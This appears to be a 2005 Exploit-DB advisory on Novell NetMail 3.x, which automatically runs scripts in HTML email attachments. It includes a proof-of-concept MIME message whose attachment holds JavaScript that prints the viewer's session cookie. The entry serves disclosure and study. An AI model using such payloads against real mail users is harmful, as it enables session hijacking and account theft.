Novell NetMail 3.x - Automatic Script Execution

EDB-ID:

25948




Platform:

Windows

Date:

2005-07-06


source: https://www.securityfocus.com/bid/14171/info

Novell NetMail email client is prone to an input validation vulnerability.

Reports indicate that HTML and JavaScript attached to received email messages is executed automatically, when the email message is viewed.

A successful attack may allow the attacker to obtain session cookies and carry out other attacks.

All versions are considered to be vulnerable at the moment. 

Content-Type: multipart/mixed; boundary="=_mixed 00279444C2257036_="

--=_mixed 00279444C2257036_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">hi there</font>
<br>
--=_mixed 00279444C2257036_=
Content-Type: text/html; name="malxxx.html"
Content-Disposition: attachment; filename="malxxx.html"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">

</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
</BODY></HTML>
--=_mixed 00279444C2257036_=--